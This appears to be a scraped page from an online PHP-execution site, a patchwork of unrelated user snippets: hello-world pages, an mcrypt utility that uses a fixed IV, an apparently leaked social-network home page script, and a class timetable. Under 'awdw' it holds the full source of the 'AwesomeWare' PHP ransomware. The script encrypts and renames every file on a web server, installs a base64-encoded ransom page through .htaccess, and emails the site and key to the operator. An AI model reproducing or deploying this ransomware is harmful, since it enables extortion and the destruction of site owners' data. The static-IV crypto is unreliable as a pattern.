<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Populars ARRAY

<?php $come['groups']['0']['en_titl'] = "featured"; $come['groups']['0']['ar_titl'] = "featuredAR"; $come['groups']['0']['content'] = "content"; $come['groups']['2']['en_titl'] = "featured"; $come['groups']['2']['ar_titl'] = "featuredAR"; $come['groups']['2']['content'] = "content"; $come['groups']['3']['en_titl'] = "featured"; $come['groups']['3']['ar_titl'] = "featuredAR"; $come['groups']['3']['content'] = "content"; print_r($come); ?>

decrypt

<?php /* * This class is also provided to a third party so any changes made in this class needs to be escalated for updating. * */ class McryptUtil { private $key; private $resMKript; // private $twoWayHash; here we mean same text encrypts to same cipher every time you apply this method. private $blockSize; public function __construct($key, $algo) { // $this->key = $key; // $this->resMKript = mcrypt_module_open($algo, '', 'cbc', ''); // $this->blockSize = mcrypt_enc_get_block_size($this->resMKript); //NOTE: for twoWayHash, we can use mode 'ecb' with out static 'iv'. but the issue is 'ecb' is little slower than 'cbc' //so we are using 'cbc' with static 'iv' for twoWayHashes } private function getIV() { $iv_size = mcrypt_enc_get_iv_size($this->resMKript); $iv = ''; if(true) { for($i = 0; $i < $iv_size; $i++ ) { $iv .= 'X'; } } else { $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->resMKript), mt_rand()); } return $iv; } private function prependIVtoTheCipher($iv, $cipher) { return $iv.$cipher; } private function seperateCipherAndIV($cipher) { $data['iv'] = substr($cipher, 0, mcrypt_enc_get_iv_size($this->resMKript)); $data['cipher'] = substr($cipher, mcrypt_enc_get_iv_size($this->resMKript)); if($data['iv'] != $this->getIV()) { $data['iv'] = $this->getIV(); $data['cipher'] = $cipher; } else { //my_var_dump("IV found in cipher"); } return $data; } /** * returns encrypted binary string. * @param input data in binary string format */ private function encrypt($input) { //we need to create 'iv' everytime we try to encrypt data. $iv = $this->getIV(); //before u do any encryption/decryption, you have to initialise module with key and iv mcrypt_generic_init($this->resMKript, $this->key, $iv); //now encrypt the data. before that, compress it to have the cipher compact. $input= $this->_gzdeflate($input); //padding with \c, c = number of bytes needed to complete the last block //to ensure the same padding in node and php $pad = $this->blockSize - (strlen($input) % $this->blockSize); $input = $input . str_repeat(chr($pad), $pad); $cipher = mcrypt_generic($this->resMKript,$input); return $cipher; } /** * returns decrypted data. remember to pass base64 decoded data. * * @param base64 decoded data * @return plain text if successful */ private function decrypt($cipher) { //get the cipher and iv $cipherData = $this->seperateCipherAndIV($cipher); //initialise the module mcrypt_generic_init($this->resMKript, $this->key, $cipherData['iv']); //decrypt $decryptedData = mdecrypt_generic($this->resMKript, $cipherData['cipher']); //uncompress $uncompressedData = $this->_gzinflate($decryptedData); if($uncompressedData === false) { ExceptionFactory::throwCryptographyException('data could not be uncompressed'); } return $uncompressedData; } private function _gzdeflate($input) { return gzdeflate($input); } private function _gzinflate($input) { return gzinflate($input); } public function encodeMime($input) { $enc = $this->encrypt($input); $encodedString= base64_encode($enc); $replaceArray = array('+'=>'-','/'=>'_'); return strtr($encodedString, $replaceArray); } public function decodeMime($mimeEncodedCipher) { $transArray = array('-'=>'+','_'=>'/'); $mimeEncodedCipher = strtr($mimeEncodedCipher, $transArray); if( !isStringSet( $mimeEncodedCipher ) ) { return null; } $binaryString = base64_decode($mimeEncodedCipher); $decodedMime = $this->decrypt($binaryString); echo $decodedMime; return $decodedMime; } public function __destruct() { if($this->resMKript) { mcrypt_module_close($this->resMKript); } } } $o = 'b1S17e7MpHrNbIp37_Oqy1MpcchQ9FZb_FZ6z91JJnwzBcVPaS8C4cEMSbeL6NIeaaieG1pKB9v8Y0h7XnHE3Ot9BJpaJ5nDbhJ5cg3acY-ej8-E_YvSzyWaeqn7X7gOXLLQYKg1jyR87RqCxZU_wsHi7T4KyejlcB3tbpXPUOd1G1YAigRQudIhmIwCBsedlxRq5UvgyoYpELCa9QoRBScWq-CbMLBVpbguujNsHofC7AKaIuW5IK5h06-n97-HxPBKCIOIhFWH3fhbNJMD-bfzJgA48NlGK5hwCBvc2T-SLrN2g9eWimOwqpnyywxBrIBO2T9XS_36wVd5P6uspQdYyCrhY-nILlQvArmXGI2nPHxr8Ru65325Ioyzx_41Cwxx0-Ju6e4SHpSfphL5eTzK3btxqCbSOpkwFKiTD-EMF_rxzr1tdaGu0v8HESTYZtala9psUuHWx7BXcncMjlTWKbvmR_T409MWiZEfdoE2ZZYv_J8zEjBNuNpAXd3VwZHu641o4vS4_COnfsqe-6aTtsm1xYgltecJvlWJDKcv5jrYFybSMXp1u0Cw9nY1056ADGGHpZURFPGZ5JkxvziWc9O-gk5BNBwyaVjfI6MN8v3jcI3Gcz9aCLxKWa7WB5XvmRMhjrmv5yZpXOlk3mYrcSdmAZLvdvRyQmOf-04zVJoLQjTfAIig32OKzR_NTBKjBU_FVf7jWrGomE_N7i4HAerBXwSKgmhvYSwEQLbXIKTvMqdOxjlFp0vCqLglaAhZgeH82wEJGlN4vvuo0T0sw6PQsqXgNrS0h43pc1B58X-sSDZhbafrweyyv7N0Bc5Sp3QGY6o='; $obj = new McryptUtil("key", "algo"); $decodedMime = $obj->decodeMime($o); ?>

welcome

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php hello ?> </body> </html>

asasd

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $test = ['data' => '10', 'jeden' => '1', 'dwa' => '2']; print_r( $test ); ?> </body> </html>

Title App

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

fddd

<? php include_once $_SERVER['PHP_ROOT'].'/html/init.php'; include_once $_SERVER['PHP_ROOT'].'/lib/home.php'; include_once $_SERVER['PHP_ROOT'].'/lib/requests.php'; include_once $_SERVER['PHP_ROOT'].'/lib/feed/newsfeed.php'; include_once $_SERVER['PHP_ROOT'].'/lib/poke.php'; include_once $_SERVER['PHP_ROOT'].'/lib/share.php'; include_once $_SERVER['PHP_ROOT'].'/lib/orientation.php'; include_once $_SERVER['PHP_ROOT'].'/lib/feed/newsfeed.php'; include_once $_SERVER['PHP_ROOT'].'/lib/mobile/register.php'; include_once $_SERVER['PHP_ROOT'].'/lib/forms_lib.php'; include_once $_SERVER['PHP_ROOT'].'/lib/contact_importer/contact_importer.php'; include_once $_SERVER['PHP_ROOT'].'/lib/feed/util.php'; include_once $_SERVER['PHP_ROOT'].'/lib/hiding_prefs.php'; include_once $_SERVER['PHP_ROOT'].'/lib/abtesting.php'; include_once $_SERVER['PHP_ROOT'].'/lib/friends.php'; include_once $_SERVER['PHP_ROOT'].'/lib/statusupdates.php'; // lib/display/feed.php has to be declared here for scope issues. // This keeps display/feed.php cleaner and easier to understand. include_once $_SERVER['PHP_ROOT'].'/lib/display/feed.php'; include_once $_SERVER['PHP_ROOT'].'/lib/monetization_box.php'; // require login $user = require_login(); print_time('require_login'); param_request(array('react' = > $PARAM_EXISTS)); // Check and fix broken emails // LN - disabling due to excessive can_see dirties and sets when enabled. //check_and_fix_broken_emails($user); // migrate AIM screenname from profile to screenname table if needed migrate_screenname($user); // homepage announcement variables $HIDE_ANNOUNCEMENT_BIT = get_site_variable('HIDE_ANNOUNCEMENT_BIT'); $HIDE_INTRO_BITMASK = get_site_variable('HIDE_INTRO_BITMASK'); // redirects if (is_sponsor_user()) { redirect('bizhome.php', 'www'); } include_once $_SERVER['PHP_ROOT'].'/lib/mesg.php'; include_once $_SERVER['PHP_ROOT'].'/lib/invitetool.php'; include_once $_SERVER['PHP_ROOT'].'/lib/grammar.php'; include_once $_SERVER['PHP_ROOT'].'/lib/securityq.php'; include_once $_SERVER['PHP_ROOT'].'/lib/events.php'; include_once $_SERVER['PHP_ROOT'].'/lib/rooster/stories.php'; // todo: password confirmation redirects here (from html/reset.php), // do we want a confirmation message? param_get_slashed(array( 'feeduser' = > $PARAM_INT, //debug: gets feed for user here 'err' = > $PARAM_STRING, // returning from a failed entry on an orientation form 'error' = > $PARAM_STRING, // an error can also be here because the profile photo upload code is crazy 'ret' = > $PARAM_INT, 'success' = > $PARAM_INT, // successful profile picture upload 'jn' = > $PARAM_INT, // joined a network for orientation 'np' = > $PARAM_INT, // network pending (for work/address network) 'me' = > $PARAM_STRING, // mobile error 'mr' = > $PARAM_EXISTS, // force mobile reg view 'mobile' = > $PARAM_EXISTS, // mobile confirmation code sent 'jif' = > $PARAM_EXISTS, // just imported friends 'ied' = > $PARAM_STRING, // import email domain 'o' = > $PARAM_EXISTS, // first time orientation, passed on confirm 'verified' = > $PARAM_EXISTS)); // verified mobile phone param_post(array( 'leave_orientation' = > $PARAM_EXISTS, 'show_orientation' = > $PARAM_INT, // show an orientation step 'hide_orientation' = > $PARAM_INT)); // skip an orientation step // homepage actions if ($req_react && validate_expiring_hash($req_react, $GLOBALS['url_md5key'])) { $show_reactivated_message = true; } else { $show_reactivated_message = false; } tpl_set('show_reactivated_message', $show_reactivated_message); // upcoming events events_check_future_events($user); // make sure big tunas haven't moved around $upcoming_events = events_get_imminent_for_user($user); // this is all stuff that can be fetched together! $upcoming_events_short = array(); obj_multiget_short(array_keys($upcoming_events), true, $upcoming_events_short); $new_pokes = 0; //only get the next N pokes for display //where N is set in the dbget to avoid caching issues $poke_stats = get_num_pokes($user); get_next_pokes($user, true, $new_pokes); $poke_count = $poke_stats['unseen']; $targeted_data = array(); home_get_cache_targeted_data($user, true, $targeted_data); $announcement_data = array(); home_get_cache_announcement_data($user, true, $announcement_data); $orientation = 0; orientation_get_status($user, true, $orientation); $short_profile = array(); profile_get_short($user, true, $short_profile); // pure priming stuff privacy_get_network_settings($user, true); $presence = array(); mobile_get_presence_data($user, true, $presence); feedback_get_event_weights($user, true); // Determine if we want to display the feed intro message $intro_settings = 0; user_get_hide_intro_bitmask($user, true, $intro_settings); $user_friend_finder = true; contact_importer_get_used_friend_finder($user, true, $used_friend_finder); $all_requests = requests_get_cache_data($user); // FIXME?: is it sub-optimal to call this both in requests_get_cache_data and here? $friends_status = statusupdates_get_recent($user, null, 3); memcache_dispatch(); // populate cache data // Merman's Admin profile always links to the Merman's home if (user_has_obj_attached($user)) { redirect('mhome.php', 'www'); } if (is_array($upcoming_events)) { foreach($upcoming_events as $event_id = > $data) { $upcoming_events[$event_id]['name'] = txt_set($upcoming_events_short[$event_id]['name']); } } tpl_set('upcoming_events', $upcoming_events); // disabled account actions $disabled_warning = ((IS_DEV_SITE || IS_QA_SITE) && is_disabled_user($user)); tpl_set('disabled_warning', $disabled_warning); // new pokes (no more messages here, they are in the top nav!) if (!user_is_guest($user)) { tpl_set('poke_count', $poke_count); tpl_set('pokes', $new_pokes); } // get announcement computations tpl_set('targeted_data', $targeted_data); tpl_set('announcement_data', $announcement_data); // birthday notifications tpl_set('birthdays', $birthdays = user_get_birthday_notifications($user, $short_profile)); tpl_set('show_birthdays', $show_birthdays = (count($birthdays) || !$orientation)); // user info tpl_set('first_name', user_get_first_name(txt_set($short_profile['id']))); tpl_set('user', $user); // decide if there are now any requests to show $show_requests = false; foreach($all_requests as $request_category) { if ($request_category) { $show_requests = true; break; } } tpl_set('all_requests', $show_requests ? $all_requests : null); $permissions = privacy_get_reduced_network_permissions($user, $user); // status $user_info = array('user' = > $user, 'firstname' = > user_get_first_name($user), 'see_all' = > '/statusupdates/?ref=hp', 'profile_pic' = > make_profile_image_src_direct($user, 'thumb'), 'square_pic' = > make_profile_image_src_direct($user, 'square')); if (!empty($presence) && $presence['status_time'] > (time() - 60 * 60 * 24 * 7)) { $status = array('message' = > txt_set($presence['status']), 'time' = > $presence['status_time'], 'source' = > $presence['status_source']); } else { $status = array('message' = > null, 'time' = > null, 'source' = > null); } tpl_set('user_info', $user_info); tpl_set('show_status', $show_status = !$orientation); tpl_set('status', $status); tpl_set('status_custom', $status_custom = mobile_get_status_custom($user)); tpl_set('friends_status', $friends_status); // orientation if ($orientation) { if ($post_leave_orientation) { orientation_update_status($user, $orientation, 2); notification_notify_exit_orientation($user); dirty_user($user); redirect('home.php'); } else if (orientation_eligible_exit(array('uid' = > $user)) == 2) { orientation_update_status($user, $orientation, 1); notification_notify_exit_orientation($user); dirty_user($user); redirect('home.php'); } } // timezone - outside of stealth, update user's timezone if necessary $set_time = !user_is_alpha($user, 'stealth'); tpl_set('timezone_autoset', $set_time); if ($set_time) { $daylight_savings = get_site_variable('DAYLIGHT_SAVINGS_ON'); tpl_set('timezone', $short_profile['timezone'] - ($daylight_savings ? 4 : 5)); } // set next step if we can if (!$orientation) { user_set_next_step($user, $short_profile); } // note: don't make this an else with the above statement, because then no news feed stories will be fetched if they're exiting orientation if ($orientation) { extract(orientation_get_const()); require_js('js/dynamic_dialog.js'); require_js('js/suggest.js'); require_js('js/typeahead_ns.js'); require_js('js/suggest.js'); require_js('js/editregion.js'); require_js('js/orientation.js'); require_css('css/typeahead.css'); require_css('css/editor.css'); if ($post_hide_orientation && $post_hide_orientation <= $ORIENTATION_MAX) { $orientation['orientation_bitmask'] |= ($post_hide_orientation * $ORIENTATION_SKIPPED_MODIFIER); orientation_update_status($user, $orientation); } else if ($post_show_orientation && $post_show_orientation <= $ORIENTATION_MAX) { $orientation['orientation_bitmask'] &= ~ ($post_show_orientation * $ORIENTATION_SKIPPED_MODIFIER); orientation_update_status($user, $orientation); } $stories = orientation_get_stories($user, $orientation); switch ($get_err) { case $ORIENTATION_ERR_COLLEGE: $temp = array(); // the affil_retval_msg needs some parameters won't be used $stories[$ORIENTATION_NETWORK]['failed_college'] = affil_retval_msg($get_ret, $temp, $temp); break; case $ORIENTATION_ERR_CORP: $temp = array(); // We special case the network not recognized error here, because affil_retval_msg is retarded. $stories[$ORIENTATION_NETWORK]['failed_corp'] = ($get_ret == 70) ? 'The email you entered did not match any of our supported networks. '.'Click here to see our supported list. '.'Go here to suggest your network for the future.' : affil_retval_msg($get_ret, $temp, $temp); break; } // photo upload error if ($get_error) { $stories[$ORIENTATION_ORDER[$ORIENTATION_PROFILE]]['upload_error'] = pic_get_error_text($get_error); } // photo upload success else if ($get_success == 1) { $stories[$ORIENTATION_ORDER[$ORIENTATION_PROFILE]]['uploaded_pic'] = true; // join network success } else if ($get_jn) { $stories[$ORIENTATION_ORDER[$ORIENTATION_NETWORK]]['joined'] = array('id' = > $get_jn, 'name' = > network_get_name($get_jn)); // network join pending } else if ($get_np) { $stories[$ORIENTATION_ORDER[$ORIENTATION_NETWORK]]['join_pending'] = array('id' = > $get_np, 'email' = > get_affil_email_conf($user, $get_np), 'network' = > network_get_name($get_np)); // just imported friend confirmation } else if ($get_jif) { $stories[$ORIENTATION_ORDER[$ORIENTATION_NETWORK]]['just_imported_friends'] = true; $stories[$ORIENTATION_ORDER[$ORIENTATION_NETWORK]]['domain'] = $get_ied; } // Mobile web API params if ($get_mobile) { $stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['sent_code'] = true; $stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['view'] = 'confirm'; } if ($get_verified) { $stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['verified'] = true; } if ($get_me) { $stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['error'] = $get_me; } if ($get_mr) { $stories[$ORIENTATION_ORDER[$ORIENTATION_MOBILE]]['view'] = 'register'; } if (orientation_eligible_exit($orientation)) { tpl_set('orientation_show_exit', true); } tpl_set('orientation_stories', $stories); //if in orientation, we hide all feed intros (all 1's in bitmask) $intro_settings = -1; } tpl_set('orientation', $orientation); // Rooster Stories if (!$orientation && ((get_site_variable('ROOSTER_ENABLED') == 2) || (get_site_variable('ROOSTER_DEV_ENABLED') == 2))) { $rooster_story_count = get_site_variable('ROOSTER_STORY_COUNT'); if (!isset($rooster_story_count)) { // Set default if something is wrong with the sitevar $rooster_story_count = 2; } $rooster_stories = rooster_get_stories($user, $rooster_story_count, $log_omissions = true); if (!empty($rooster_stories) && !empty($rooster_stories['stories'])) { // Do page-view level logging here foreach($rooster_stories['stories'] as $story) { rooster_log_action($user, $story, ROOSTER_LOG_ACTION_VIEW); } tpl_set('rooster_stories', $rooster_stories); } } // set the variables for the home announcement code $hide_announcement_tpl = ($intro_settings | $HIDE_INTRO_BITMASK) & $HIDE_ANNOUNCEMENT_BIT; // if on qa/dev site, special rules $HIDE_INTRO_ON_DEV = get_site_variable('HIDE_INTRO_ON_DEV'); if ((IS_QA_SITE || IS_DEV_SITE) && !$HIDE_INTRO_ON_DEV) { $hide_announcement_tpl = 0; } tpl_set('hide_announcement', $hide_announcement_tpl); if ($is_candidate = is_candidate_user($user)) { tpl_set('hide_announcement', false); } $home_announcement_tpl = !$hide_announcement_tpl || $is_candidate ? home_get_announcement_info($user) : 0; tpl_set('home_announcement', $home_announcement_tpl); tpl_set('hide_announcement_bit', $HIDE_ANNOUNCEMENT_BIT); $show_friend_finder = !$orientation && contact_importer_enabled($user) && !user_get_hiding_pref($user, 'home_friend_finder'); tpl_set('show_friend_finder', $show_friend_finder); if ($show_friend_finder && (user_get_friend_count($user) > 20)) { tpl_set('friend_finder_hide_options', array('text' = > 'close', 'onclick' = > "return clearFriendFinder()")); } else { tpl_set('friend_finder_hide_options', null); } $account_info = user_get_account_info($user); $account_create_time = $account_info['time']; tpl_set('show_friend_finder_top', !$used_friend_finder); tpl_set('user', $user); // MONETIZATION BOX $minimize_monetization_box = user_get_hiding_pref($user, 'home_monetization'); $show_monetization_box = (!$orientation && get_site_variable('HOMEPAGE_MONETIZATION_BOX')); tpl_set('show_monetization_box', $show_monetization_box); tpl_set('minimize_monetization_box', $minimize_monetization_box); if ($show_monetization_box) { $monetization_box_data = monetization_box_user_get_data($user); txt_set('monetization_box_data', $monetization_box_data); } // ORIENTATION if ($orientation) { $network_ids = id_get_networks($user); $network_names = multiget_network_name($network_ids); $in_corp_network = in_array($GLOBALS['TYPE_CORP'], array_map('extract_network_type', $network_ids)); $show_corp_search = $in_corp_network || get_age(user_get_basic_info_attr($user, 'birthday')) >= 21; $pending_hs = is_hs_pending_user($user); $hs_id = null; $hs_name = null; if ($pending_hs) { foreach(id_get_pending_networks($user) as $network) { if (extract_network_type($network['network_key']) == $GLOBALS['TYPE_HS']) { $hs_id = $network['network_key']; $hs_name = network_get_name($hs_id); break; } } } //$orientation_people = orientation_get_friend_and_inviter_ids($user); $orientation_people = array('friends' = > user_get_all_friends($user), 'pending' = > array_keys(user_get_friend_requests($user)), 'inviters' = > array(), // wc: don't show inviters for now ); $orientation_info = array_merge($orientation_people, array('network_names' = > $network_names, 'show_corp_search' = > $show_corp_search, 'pending_hs' = > array('hs_id' = > $hs_id, 'hs_name' = > $hs_name), 'user' = > $user, )); tpl_set('orientation_info', $orientation_info); tpl_set('simple_orientation_first_login', $get_o); // unused right now } // Roughly determine page length for ads // first, try page length using right-hand panel $ads_page_length_data = 3 + // 3 for profile pic + next step ($show_friend_finder ? 1 : 0) + ($show_status ? ($status_custom ? count($friends_status) : 0) : 0) + ($show_monetization_box ? 1 : 0) + ($show_birthdays ? count($birthdays) : 0) + count($new_pokes); // page length using feed stories if ($orientation) { $ads_page_length_data = max($ads_page_length_data, count($stories) * 5); } tpl_set('ads_page_length_data', $ads_page_length_data); $feed_stories = null; if (!$orientation) { // if they're not in orientation they get other cool stuff // ad_insert: the ad type to try to insert for the user // (0 if we don't want to try an insert) $ad_insert = get_site_variable('FEED_ADS_ENABLE_INSERTS'); $feed_off = false; if (check_super($user) && $get_feeduser) { $feed_stories = user_get_displayable_stories($get_feeduser, 0, null, $ad_insert); } else if (can_see($user, $user, 'feed')) { $feed_stories = user_get_displayable_stories($user, 0, null, $ad_insert); } else { $feed_off = true; } // Friend's Feed Selector - Requires dev.php constant if (is_friendfeed_user($user)) { $friendfeed = array(); $friendfeed['feeduser'] = $get_feeduser; $friendfeed['feeduser_name'] = user_get_name($get_feeduser); $friendfeed['friends'] = user_get_all_friends($user); tpl_set('friendfeed', $friendfeed); } $feed_stories = feed_adjust_timezone($user, $feed_stories); tpl_set('feed_off', $feed_off ? redirect('privacy.php?view=feeds', null, false) : false); } tpl_set('feed_stories', $feed_stories); render_template($_SERVER['PHP_ROOT'].'/html/home.phpt');

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "Hello, PHP"; ?> </body> </html> <!DOCTYPE html> <html> <head> <title>timetable</title> <meta name="subset" content="timetable"/> <meta name="author" content="hy"/> <meta name="generator" content="sublime text"/> </head> <body> <table border="1" width="200" height="200"> <caption>HY's TimeTable</caption> <tr width="40"> <th>Mon</th> <th>Thu</th> <th>Wed</th> <th>Thr</th> <th>Fri</th> </tr> <tr> <td></td> <td rowspan="2">시스템프로그래밍기초</td> <td rowspan="2">초급중국어</td> <td></td> <td></td> </tr> <tr> <td rowspan="2">이산수학</td> <!-- <td></td> <td></td> --> <td></td> <td rowspan="2">공학영어</td> </tr> <tr> <!-- <td></td> --> <td></td> <td></td> <td>오픈소스SW기초</td> <!-- <td></td> --> </tr> <tr> <td>L</td> <td>U</td> <td>N</td> <td>C</td> <td>H</td> </tr> <tr> <td rowspan="2">글과삶</td> <td></td> <td></td> <td rowspan="2">시스템프로그래밍기초</td> <td rowspan="2">이산수학</td> </tr> <tr> <!-- <td></td> --> <td></td> <td></td> <!-- <td></td> <td></td> --> </tr> <tr> <td rowspan="2">프로그램설계방법론</td> <td rowspan="2">컴퓨팅사고와문제해결</td> <td rowspan="2">프로그램설계방법론</td> <td rowspan="2">오픈소스SW기초</td> <td></td> </tr> <tr> <!-- <td></td> <td></td> <td></td> <td></td> --> <td></td> </tr> </table> </body> </html>

awdw

<!DOCTYPE html> <html> <head> <title>AwesomeWare</title> <style type="text/css"> body { background: #1A1C1F; color: #e2e2e2; } .inpute{ border-style: dotted; border-color: #379600; background-color: transparent; color: white; text-align: center; } .selecte{ border-style: dotted; border-color: green; background-color: transparent; color: green; } .submite{ border-style: dotted; border-color: #4CAF50; background-color: transparent; color: white; } .result{ text-align: left; } </style> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css"> </head> <body> <div class="result"> <?php error_reporting(0); set_time_limit(0); ini_set('memory_limit', '-1'); class deRanSomeware { public function shcpackInstall(){ if(!file_exists(".htashor7cut")){ rename(".htaccess", ".htashor7cut"); if(fwrite(fopen('.htaccess', 'w'), "#Bug7sec Team\r\nDirectoryIndex shor7cut.php\r\nErrorDocument 404 /shor7cut.php")){ echo '<i class="fa fa-thumbs-o-up" aria-hidden="true"></i> .htaccess (Default Page)<br>'; } if(file_put_contents("shor7cut.php", base64_decode("PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KICAgPHRpdGxlPkF3ZXNvbWVXYXJlPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCiAgICBiYWNrZ3JvdW5kOiAjMUExQzFGOw0KICAgIGNvbG9yOiAjZTJlMmUyOw0KfQ0KYXsNCiAgIGNvbG9yOmdyZWVuOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGNlbnRlcj4NCjxwcmU+DQogICAgICANCiAgICAgICAgICAgIC4tIiItLg0KICAgICAgICAgICAvIC4tLS4gXA0KICAgICAgICAgIC8gLyAgICBcIFwNCiAgICAgICAgICB8IHwgICAgfCB8DQogICAgICAgICAgfCB8Li0iIi0ufA0KICAgICAgICAgLy8vYC46Ojo6LmBcDQogICAgICAgIHx8fCA6Oi8gIFw6OiA7DQogICAgICAgIHx8OyA6OlxfXy86OiA7DQogICAgICAgICBcXFwgJzo6OjonIC8NCiAgICAgICAgICBgPSc6LS4uLSdgDQpZb3VyIHNpdGUgaXMgbG9ja2VkLCBwbGVhc2UgY29udGFjdCB2aWEgZW1haWw6DQogICAgIC1bIDxmb250IGNvbG9yPSJncmVlbiI+dG8xMzM3ZGF5W2F0XWdtYWlsLmNvbTwvZm9udD4gXS0NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NClRoaXMgaXMgYSBub3RpY2Ugb2YgPGEgaHJlZj0iaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvUmFuc29td2FyZSI+cmFuc29td2FyZTwvYT4uPGJyPg0KSG93IHRvIHJlc3RvcmUgdGhlIGJlZ2lubmluZz8NClBsZWFzZSBjb250YWN0IHVzIHZpYSBlbWFpbCBsaXN0ZWQNCjwvcHJlPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+"))){ echo '<i class="fa fa-thumbs-o-up" aria-hidden="true"></i> shor7cut.php (Default Page)<br>'; } } } public function shcpackUnstall(){ if( file_exists(".htashor7cut") ){ if( unlink(".htaccess") && unlink("shor7cut.php") ){ echo '<i class="fa fa-thumbs-o-down" aria-hidden="true"></i> .htaccess (Default Page)<br>'; echo '<i class="fa fa-thumbs-o-down" aria-hidden="true"></i> shor7cut.php (Default Page)<br>'; } rename(".htashor7cut", ".htaccess"); } } public function plus(){ flush(); ob_flush(); } public function locate(){ return getcwd(); } public function shcdirs($dir,$method,$key){ switch ($method) { case '1': deRanSomeware::shcpackInstall(); break; case '2': deRanSomeware::shcpackUnstall(); break; } foreach(scandir($dir) as $d) { if($d!='.' && $d!='..') { $locate = $dir.DIRECTORY_SEPARATOR.$d; if(!is_dir($locate)){ if( deRanSomeware::kecuali($locate,"AwesomeWare.php") && deRanSomeware::kecuali($locate,".png") && deRanSomeware::kecuali($locate,".htaccess") && deRanSomeware::kecuali($locate,"shor7cut.php") && deRanSomeware::kecuali($locate,"index.php") && deRanSomeware::kecuali($locate,".htashor7cut") ){ switch ($method) { case '1': deRanSomeware::shcEnCry($key,$locate); deRanSomeware::shcEnDesDirS($locate,"1"); break; case '2': deRanSomeware::shcDeCry($key,$locate); deRanSomeware::shcEnDesDirS($locate,"2"); break; } } }else{ deRanSomeware::shcdirs($locate,$method,$key); } } deRanSomeware::plus(); } deRanSomeware::report($key); } public function report($key){ $message.= "========= Ronggolawe Ransomware =========\n"; $message.= "Website : ".$_SERVER['HTTP_HOST']; $message.= "Key : ".$key; $message.= "========= Ronggolawe (2016) Ransomware =========\n"; $subject = "Report Ransomeware"; $headers = "From: Ransomware <ransomeware@shor7cut.today>\r\n"; mail("-- YOUR EMAIL --",$subject,$message,$headers); } public function shcEnDesDirS($locate,$method){ switch ($method) { case '1': rename($locate, $locate.".shor7cut"); break; case '2': $locates = str_replace(".shor7cut", ", $locate); rename($locate, $locates); break; } } public function shcEnCry($key,$locate){ $data = file_get_contents($locate); $iv = mcrypt_create_iv( mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_DEV_URANDOM ); $encrypted = base64_encode( $iv . mcrypt_encrypt( MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), $data, MCRYPT_MODE_CBC, $iv ) ); if(file_put_contents($locate, $encrypted )){ echo '<i class="fa fa-lock" aria-hidden="true"></i> <font color="#00BCD4">Locked</font> (<font color="#40CE08">Success</font>) <font color="#FF9800">|</font> <font color="#2196F3">'.$locate.'</font> <br>'; }else{ echo '<i class="fa fa-lock" aria-hidden="true"></i> <font color="#00BCD4">Locked</font> (<font color="red">Failed</font>) <font color="#FF9800">|</font> '.$locate.' <br>'; } } public function shcDeCry($key,$locate){ $data = base64_decode( file_get_contents($locate) ); $iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); $decrypted = rtrim( mcrypt_decrypt( MCRYPT_RIJNDAEL_128, hash('sha256', $key, true), substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), MCRYPT_MODE_CBC, $iv ), "\0" ); if(file_put_contents($locate, $decrypted )){ echo '<i class="fa fa-unlock" aria-hidden="true"></i> <font color="#FFEB3B">Unlock</font> (<font color="#40CE08">Success</font>) <font color="#FF9800">|</font> <font color="#2196F3">'.$locate.'</font> <br>'; }else{ echo '<i class="fa fa-unlock" aria-hidden="true"></i> <font color="#FFEB3B">Unlock</font> (<font color="red">Failed</font>) <font color="#FF9800">|</font> <font color="#2196F3">'.$locate.'</font> <br>'; } } public function kecuali($ext,$name){ $re = "/({$name})/"; preg_match($re, $ext, $matches); if($matches[1]){ return false; } return true; } } if($_POST['submit']){ switch ($_POST['method']) { case '1': deRanSomeware::shcdirs(deRanSomeware::locate(),"1",$_POST['key']); break; case '2': deRanSomeware::shcdirs(deRanSomeware::locate(),"2",$_POST['key']); break; } }else{ ?> <center> <pre> .-"-. / .--. \ / / \ \ | | | | | |.-"-.| ///`.::::.`\ ||| ::/ \:: ; ||; ::\__/:: ; \\\ '::::' / SHC `=':-..-'` AwesomeWare -[ Contact : to1337day[at]gmail.com ]- </pre> <form action=" method="post" style=" text-align: center;"> <label>Key : </label> <input type="text" name="key" class="inpute" placeholder="KEY ENC/DEC"> <select name="method" class="selecte"> <option value="1">Infection</option> <option value="2">DeInfection</option> </select> <input type="submit" name="submit" class="submite" value="Submit" /> </form> <?php }?> </div> </body> </html> <?php ?>

okok

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

